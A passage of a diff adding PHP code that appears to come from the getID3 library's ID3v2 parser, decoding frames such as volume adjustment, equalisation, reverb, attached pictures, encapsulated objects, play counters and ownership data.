+				$frame_remainingdata = substr($frame_remainingdata, $frame_offset + $frame_bytespeakvolume);
+				$RVA2channelcounter++;
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'RVAD')) || // 4.12  RVAD Relative volume adjustment (ID3v2.3 only)
+				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'RVA'))) {  // 4.12  RVA  Relative volume adjustment (ID3v2.2 only)
+			//   There may only be one 'RVA' frame in each tag
+			// <Header for 'Relative volume adjustment', ID: 'RVA'>
+			// ID3v2.2 => Increment/decrement     %000000ba
+			// ID3v2.3 => Increment/decrement     %00fedcba
+			// Bits used for volume descr.        $xx
+			// Relative volume change, right      $xx xx (xx ...) // a
+			// Relative volume change, left       $xx xx (xx ...) // b
+			// Peak volume right                  $xx xx (xx ...)
+			// Peak volume left                   $xx xx (xx ...)
+			//   ID3v2.3 only, optional (not present in ID3v2.2):
+			// Relative volume change, right back $xx xx (xx ...) // c
+			// Relative volume change, left back  $xx xx (xx ...) // d
+			// Peak volume right back             $xx xx (xx ...)
+			// Peak volume left back              $xx xx (xx ...)
+			//   ID3v2.3 only, optional (not present in ID3v2.2):
+			// Relative volume change, center     $xx xx (xx ...) // e
+			// Peak volume center                 $xx xx (xx ...)
+			//   ID3v2.3 only, optional (not present in ID3v2.2):
+			// Relative volume change, bass       $xx xx (xx ...) // f
+			// Peak volume bass                   $xx xx (xx ...)
+
+			$frame_offset = 0;
+			$frame_incrdecrflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['incdec']['right'] = (bool) substr($frame_incrdecrflags, 6, 1);
+			$parsedFrame['incdec']['left']  = (bool) substr($frame_incrdecrflags, 7, 1);
+			$parsedFrame['bitsvolume'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_bytesvolume = ceil($parsedFrame['bitsvolume'] / 8);
+			$parsedFrame['volumechange']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+			if ($parsedFrame['incdec']['right'] === false) {
+				$parsedFrame['volumechange']['right'] *= -1;
+			}
+			$frame_offset += $frame_bytesvolume;
+			$parsedFrame['volumechange']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+			if ($parsedFrame['incdec']['left'] === false) {
+				$parsedFrame['volumechange']['left'] *= -1;
+			}
+			$frame_offset += $frame_bytesvolume;
+			$parsedFrame['peakvolume']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+			$frame_offset += $frame_bytesvolume;
+			$parsedFrame['peakvolume']['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+			$frame_offset += $frame_bytesvolume;
+			if ($id3v2_majorversion == 3) {
+				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
+				if (strlen($parsedFrame['data']) > 0) {
+					$parsedFrame['incdec']['rightrear'] = (bool) substr($frame_incrdecrflags, 4, 1);
+					$parsedFrame['incdec']['leftrear']  = (bool) substr($frame_incrdecrflags, 5, 1);
+					$parsedFrame['volumechange']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					if ($parsedFrame['incdec']['rightrear'] === false) {
+						$parsedFrame['volumechange']['rightrear'] *= -1;
+					}
+					$frame_offset += $frame_bytesvolume;
+					$parsedFrame['volumechange']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					if ($parsedFrame['incdec']['leftrear'] === false) {
+						$parsedFrame['volumechange']['leftrear'] *= -1;
+					}
+					$frame_offset += $frame_bytesvolume;
+					$parsedFrame['peakvolume']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					$frame_offset += $frame_bytesvolume;
+					$parsedFrame['peakvolume']['leftrear']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					$frame_offset += $frame_bytesvolume;
+				}
+				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
+				if (strlen($parsedFrame['data']) > 0) {
+					$parsedFrame['incdec']['center'] = (bool) substr($frame_incrdecrflags, 3, 1);
+					$parsedFrame['volumechange']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					if ($parsedFrame['incdec']['center'] === false) {
+						$parsedFrame['volumechange']['center'] *= -1;
+					}
+					$frame_offset += $frame_bytesvolume;
+					$parsedFrame['peakvolume']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					$frame_offset += $frame_bytesvolume;
+				}
+				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
+				if (strlen($parsedFrame['data']) > 0) {
+					$parsedFrame['incdec']['bass'] = (bool) substr($frame_incrdecrflags, 2, 1);
+					$parsedFrame['volumechange']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					if ($parsedFrame['incdec']['bass'] === false) {
+						$parsedFrame['volumechange']['bass'] *= -1;
+					}
+					$frame_offset += $frame_bytesvolume;
+					$parsedFrame['peakvolume']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
+					$frame_offset += $frame_bytesvolume;
+				}
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'EQU2')) { // 4.12  EQU2 Equalisation (2) (ID3v2.4+ only)
+			//   There may be more than one 'EQU2' frame in each tag,
+			//   but only one with the same identification string
+			// <Header of 'Equalisation (2)', ID: 'EQU2'>
+			// Interpolation method  $xx
+			//   $00  Band
+			//   $01  Linear
+			// Identification        <text string> $00
+			//   The following is then repeated for every adjustment point
+			// Frequency          $xx xx
+			// Volume adjustment  $xx xx
+
+			$frame_offset = 0;
+			$frame_interpolationmethod = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_idstring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_idstring) === 0) {
+				$frame_idstring = '';
+			}
+			$parsedFrame['description'] = $frame_idstring;
+			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
+			while (strlen($frame_remainingdata)) {
+				$frame_frequency = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 2)) / 2;
+				$parsedFrame['data'][$frame_frequency] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, 2), false, true);
+				$frame_remainingdata = substr($frame_remainingdata, 4);
+			}
+			$parsedFrame['interpolationmethod'] = $frame_interpolationmethod;
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'EQUA')) || // 4.12  EQUA Equalisation (ID3v2.3 only)
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'EQU'))) {     // 4.13  EQU  Equalisation (ID3v2.2 only)
+			//   There may only be one 'EQUA' frame in each tag
+			// <Header for 'Relative volume adjustment', ID: 'EQU'>
+			// Adjustment bits    $xx
+			//   This is followed by 2 bytes + ('adjustment bits' rounded up to the
+			//   nearest byte) for every equalisation band in the following format,
+			//   giving a frequency range of 0 - 32767Hz:
+			// Increment/decrement   %x (MSB of the Frequency)
+			// Frequency             (lower 15 bits)
+			// Adjustment            $xx (xx ...)
+
+			$frame_offset = 0;
+			$parsedFrame['adjustmentbits'] = substr($parsedFrame['data'], $frame_offset++, 1);
+			$frame_adjustmentbytes = ceil($parsedFrame['adjustmentbits'] / 8);
+
+			$frame_remainingdata = (string) substr($parsedFrame['data'], $frame_offset);
+			while (strlen($frame_remainingdata) > 0) {
+				$frame_frequencystr = getid3_lib::BigEndian2Bin(substr($frame_remainingdata, 0, 2));
+				$frame_incdec    = (bool) substr($frame_frequencystr, 0, 1);
+				$frame_frequency = bindec(substr($frame_frequencystr, 1, 15));
+				$parsedFrame[$frame_frequency]['incdec'] = $frame_incdec;
+				$parsedFrame[$frame_frequency]['adjustment'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, $frame_adjustmentbytes));
+				if ($parsedFrame[$frame_frequency]['incdec'] === false) {
+					$parsedFrame[$frame_frequency]['adjustment'] *= -1;
+				}
+				$frame_remainingdata = substr($frame_remainingdata, 2 + $frame_adjustmentbytes);
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RVRB')) || // 4.13  RVRB Reverb
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'REV'))) {     // 4.14  REV  Reverb
+			//   There may only be one 'RVRB' frame in each tag.
+			// <Header for 'Reverb', ID: 'RVRB'>
+			// Reverb left (ms)                 $xx xx
+			// Reverb right (ms)                $xx xx
+			// Reverb bounces, left             $xx
+			// Reverb bounces, right            $xx
+			// Reverb feedback, left to left    $xx
+			// Reverb feedback, left to right   $xx
+			// Reverb feedback, right to right  $xx
+			// Reverb feedback, right to left   $xx
+			// Premix left to right             $xx
+			// Premix right to left             $xx
+
+			$frame_offset = 0;
+			$parsedFrame['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['bouncesL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['bouncesR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['feedbackLL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['feedbackLR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['feedbackRR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['feedbackRL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['premixLR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['premixRL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'APIC')) || // 4.14  APIC Attached picture
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'PIC'))) {     // 4.15  PIC  Attached picture
+			//   There may be several pictures attached to one file,
+			//   each in their individual 'APIC' frame, but only one
+			//   with the same content descriptor
+			// <Header for 'Attached picture', ID: 'APIC'>
+			// Text encoding      $xx
+			// ID3v2.3+ => MIME type          <text string> $00
+			// ID3v2.2  => Image format       $xx xx xx
+			// Picture type       $xx
+			// Description        <text string according to encoding> $00 (00)
+			// Picture data       <binary data>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+
+			if ($id3v2_majorversion == 2 && strlen($parsedFrame['data']) > $frame_offset) {
+				$frame_imagetype = substr($parsedFrame['data'], $frame_offset, 3);
+				if (strtolower($frame_imagetype) == 'ima') {
+					// complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted
+					// MIME type instead of 3-char ID3v2.2-format image type  (thanks xbhoffØpacbell*net)
+					$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+					$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+					if (ord($frame_mimetype) === 0) {
+						$frame_mimetype = '';
+					}
+					$frame_imagetype = strtoupper(str_replace('image/', '', strtolower($frame_mimetype)));
+					if ($frame_imagetype == 'JPEG') {
+						$frame_imagetype = 'JPG';
+					}
+					$frame_offset = $frame_terminatorpos + strlen("\x00");
+				} else {
+					$frame_offset += 3;
+				}
+			}
+			if ($id3v2_majorversion > 2 && strlen($parsedFrame['data']) > $frame_offset) {
+				$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+				$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+				if (ord($frame_mimetype) === 0) {
+					$frame_mimetype = '';
+				}
+				$frame_offset = $frame_terminatorpos + strlen("\x00");
+			}
+
+			$frame_picturetype = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+
+			if ($frame_offset >= $parsedFrame['datalength']) {
+				$info['warning'][] = 'data portion of APIC frame is missing at offset '.($parsedFrame['dataoffset'] + 8 + $frame_offset);
+			} else {
+				$frame_terminatorpos = strpos($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding), $frame_offset);
+				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+				}
+				$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+				if (ord($frame_description) === 0) {
+					$frame_description = '';
+				}
+				$parsedFrame['encodingid']       = $frame_textencoding;
+				$parsedFrame['encoding']         = $this->TextEncodingNameLookup($frame_textencoding);
+
+				if ($id3v2_majorversion == 2) {
+					$parsedFrame['imagetype']    = $frame_imagetype;
+				} else {
+					$parsedFrame['mime']         = $frame_mimetype;
+				}
+				$parsedFrame['picturetypeid']    = $frame_picturetype;
+				$parsedFrame['picturetype']      = $this->APICPictureTypeLookup($frame_picturetype);
+				$parsedFrame['description']      = $frame_description;
+				$parsedFrame['data']             = substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)));
+				$parsedFrame['datalength']       = strlen($parsedFrame['data']);
+
+				$parsedFrame['image_mime'] = '';
+				$imageinfo = array();
+				$imagechunkcheck = getid3_lib::GetDataImageSize($parsedFrame['data'], $imageinfo);
+				if (($imagechunkcheck[2] >= 1) && ($imagechunkcheck[2] <= 3)) {
+					$parsedFrame['image_mime']       = 'image/'.getid3_lib::ImageTypesLookup($imagechunkcheck[2]);
+					if ($imagechunkcheck[0]) {
+						$parsedFrame['image_width']  = $imagechunkcheck[0];
+					}
+					if ($imagechunkcheck[1]) {
+						$parsedFrame['image_height'] = $imagechunkcheck[1];
+					}
+				}
+
+				do {
+					if ($this->getid3->option_save_attachments === false) {
+						// skip entirely
+						unset($parsedFrame['data']);
+						break;
+					}
+					if ($this->getid3->option_save_attachments === true) {
+						// great
+/*
+					} elseif (is_int($this->getid3->option_save_attachments)) {
+						if ($this->getid3->option_save_attachments < $parsedFrame['data_length']) {
+							// too big, skip
+							$info['warning'][] = 'attachment at '.$frame_offset.' is too large to process inline ('.number_format($parsedFrame['data_length']).' bytes)';
+							unset($parsedFrame['data']);
+							break;
+						}
+*/
+					} elseif (is_string($this->getid3->option_save_attachments)) {
+						$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
+						if (!is_dir($dir) || !is_writable($dir)) {
+							// cannot write, skip
+							$info['warning'][] = 'attachment at '.$frame_offset.' cannot be saved to "'.$dir.'" (not writable)';
+							unset($parsedFrame['data']);
+							break;
+						}
+					}
+					// if we get this far, must be OK
+					if (is_string($this->getid3->option_save_attachments)) {
+						$destination_filename = $dir.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$frame_offset;
+						if (!file_exists($destination_filename) || is_writable($destination_filename)) {
+							file_put_contents($destination_filename, $parsedFrame['data']);
+						} else {
+							$info['warning'][] = 'attachment at '.$frame_offset.' cannot be saved to "'.$destination_filename.'" (not writable)';
+						}
+						$parsedFrame['data_filename'] = $destination_filename;
+						unset($parsedFrame['data']);
+					} else {
+						if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+							if (!isset($info['id3v2']['comments']['picture'])) {
+								$info['id3v2']['comments']['picture'] = array();
+							}
+							$info['id3v2']['comments']['picture'][] = array('data'=>$parsedFrame['data'], 'image_mime'=>$parsedFrame['image_mime']);
+						}
+					}
+				} while (false);
+			}
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GEOB')) || // 4.15  GEOB General encapsulated object
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'GEO'))) {     // 4.16  GEO  General encapsulated object
+			//   There may be more than one 'GEOB' frame in each tag,
+			//   but only one with the same content descriptor
+			// <Header for 'General encapsulated object', ID: 'GEOB'>
+			// Text encoding          $xx
+			// MIME type              <text string> $00
+			// Filename               <text string according to encoding> $00 (00)
+			// Content description    <text string according to encoding> $00 (00)
+			// Encapsulated object    <binary data>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_mimetype) === 0) {
+				$frame_mimetype = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding), $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_filename = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_filename) === 0) {
+				$frame_filename = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding));
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding), $frame_offset);
+			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding)), 1)) === 0) {
+				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
+			}
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_description) === 0) {
+				$frame_description = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen($this->TextEncodingTerminatorLookup($frame_textencoding));
+
+			$parsedFrame['objectdata']  = (string) substr($parsedFrame['data'], $frame_offset);
+			$parsedFrame['encodingid']  = $frame_textencoding;
+			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['mime']        = $frame_mimetype;
+			$parsedFrame['filename']    = $frame_filename;
+			$parsedFrame['description'] = $frame_description;
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PCNT')) || // 4.16  PCNT Play counter
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CNT'))) {     // 4.17  CNT  Play counter
+			//   There may only be one 'PCNT' frame in each tag.
+			//   When the counter reaches all one's, one byte is inserted in
+			//   front of the counter thus making the counter eight bits bigger
+			// <Header for 'Play counter', ID: 'PCNT'>
+			// Counter        $xx xx xx xx (xx ...)
+
+			$parsedFrame['data']          = getid3_lib::BigEndian2Int($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POPM')) || // 4.17  POPM Popularimeter
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'POP'))) {    // 4.18  POP  Popularimeter
+			//   There may be more than one 'POPM' frame in each tag,
+			//   but only one with the same email address
+			// <Header for 'Popularimeter', ID: 'POPM'>
+			// Email to user   <text string> $00
+			// Rating          $xx
+			// Counter         $xx xx xx xx (xx ...)
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_emailaddress = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_emailaddress) === 0) {
+				$frame_emailaddress = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+			$frame_rating = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['counter'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
+			$parsedFrame['email']   = $frame_emailaddress;
+			$parsedFrame['rating']  = $frame_rating;
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RBUF')) || // 4.18  RBUF Recommended buffer size
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'BUF'))) {     // 4.19  BUF  Recommended buffer size
+			//   There may only be one 'RBUF' frame in each tag
+			// <Header for 'Recommended buffer size', ID: 'RBUF'>
+			// Buffer size               $xx xx xx
+			// Embedded info flag        %0000000x
+			// Offset to next tag        $xx xx xx xx
+
+			$frame_offset = 0;
+			$parsedFrame['buffersize'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 3));
+			$frame_offset += 3;
+
+			$frame_embeddedinfoflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['flags']['embededinfo'] = (bool) substr($frame_embeddedinfoflags, 7, 1);
+			$parsedFrame['nexttagoffset'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRM')) { // 4.20  Encrypted meta frame (ID3v2.2 only)
+			//   There may be more than one 'CRM' frame in a tag,
+			//   but only one with the same 'owner identifier'
+			// <Header for 'Encrypted meta frame', ID: 'CRM'>
+			// Owner identifier      <textstring> $00 (00)
+			// Content/explanation   <textstring> $00 (00)
+			// Encrypted datablock   <binary data>
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_description) === 0) {
+				$frame_description = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$parsedFrame['ownerid']     = $frame_ownerid;
+			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);
+			$parsedFrame['description'] = $frame_description;
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'AENC')) || // 4.19  AENC Audio encryption
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRA'))) {     // 4.21  CRA  Audio encryption
+			//   There may be more than one 'AENC' frames in a tag,
+			//   but only one with the same 'Owner identifier'
+			// <Header for 'Audio encryption', ID: 'AENC'>
+			// Owner identifier   <text string> $00
+			// Preview start      $xx xx
+			// Preview length     $xx xx
+			// Encryption info    <binary data>
+
+			$frame_offset = 0;
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_ownerid) === 0) {
+				$frame_ownerid == '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+			$parsedFrame['ownerid'] = $frame_ownerid;
+			$parsedFrame['previewstart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['previewlength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
+			$frame_offset += 2;
+			$parsedFrame['encryptioninfo'] = (string) substr($parsedFrame['data'], $frame_offset);
+			unset($parsedFrame['data']);
+
+
+		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'LINK')) || // 4.20  LINK Linked information
+				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'LNK'))) {     // 4.22  LNK  Linked information
+			//   There may be more than one 'LINK' frame in a tag,
+			//   but only one with the same contents
+			// <Header for 'Linked information', ID: 'LINK'>
+			// ID3v2.3+ => Frame identifier   $xx xx xx xx
+			// ID3v2.2  => Frame identifier   $xx xx xx
+			// URL                            <text string> $00
+			// ID and additional data         <text string(s)>
+
+			$frame_offset = 0;
+			if ($id3v2_majorversion == 2) {
+				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 3);
+				$frame_offset += 3;
+			} else {
+				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 4);
+				$frame_offset += 4;
+			}
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_url = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			if (ord($frame_url) === 0) {
+				$frame_url = '';
+			}
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+			$parsedFrame['url'] = $frame_url;
+
+			$parsedFrame['additionaldata'] = (string) substr($parsedFrame['data'], $frame_offset);
+			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = utf8_encode($parsedFrame['url']);
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POSS')) { // 4.21  POSS Position synchronisation frame (ID3v2.3+ only)
+			//   There may only be one 'POSS' frame in each tag
+			// <Head for 'Position synchronisation', ID: 'POSS'>
+			// Time stamp format         $xx
+			// Position                  $xx (xx ...)
+
+			$frame_offset = 0;
+			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			$parsedFrame['position']        = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USER')) { // 4.22  USER Terms of use (ID3v2.3+ only)
+			//   There may be more than one 'Terms of use' frame in a tag,
+			//   but only one with the same 'Language'
+			// <Header for 'Terms of use frame', ID: 'USER'>
+			// Text encoding        $xx
+			// Language             $xx xx xx
+			// The actual text      <text string according to encoding>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
+			$frame_offset += 3;
+			$parsedFrame['language']     = $frame_language;
+			$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
+			$parsedFrame['encodingid']   = $frame_textencoding;
+			$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$parsedFrame['data']         = (string) substr($parsedFrame['data'], $frame_offset);
+			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
+				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
+			}
+			unset($parsedFrame['data']);
+
+
+		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'OWNE')) { // 4.23  OWNE Ownership frame (ID3v2.3+ only)
+			//   There may only be one 'OWNE' frame in a tag
+			// <Header for 'Ownership frame', ID: 'OWNE'>
+			// Text encoding     $xx
+			// Price paid        <text string> $00
+			// Date of purch.    <text string>
+			// Seller            <text string according to encoding>
+
+			$frame_offset = 0;
+			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
+			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
+				$info['warning'][] = 'Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding';
+			}
+			$parsedFrame['encodingid'] = $frame_textencoding;
+			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);
+
+			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
+			$frame_pricepaid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
+			$frame_offset = $frame_terminatorpos + strlen("\x00");
+
+			$parsedFrame['pricepaid']['currencyid'] = substr($frame_pricepaid, 0, 3);
+			$parsedFrame['pricepaid']['currency']   = $this->LookupCurrencyUnits($parsedFrame['pricepaid']['currencyid']);
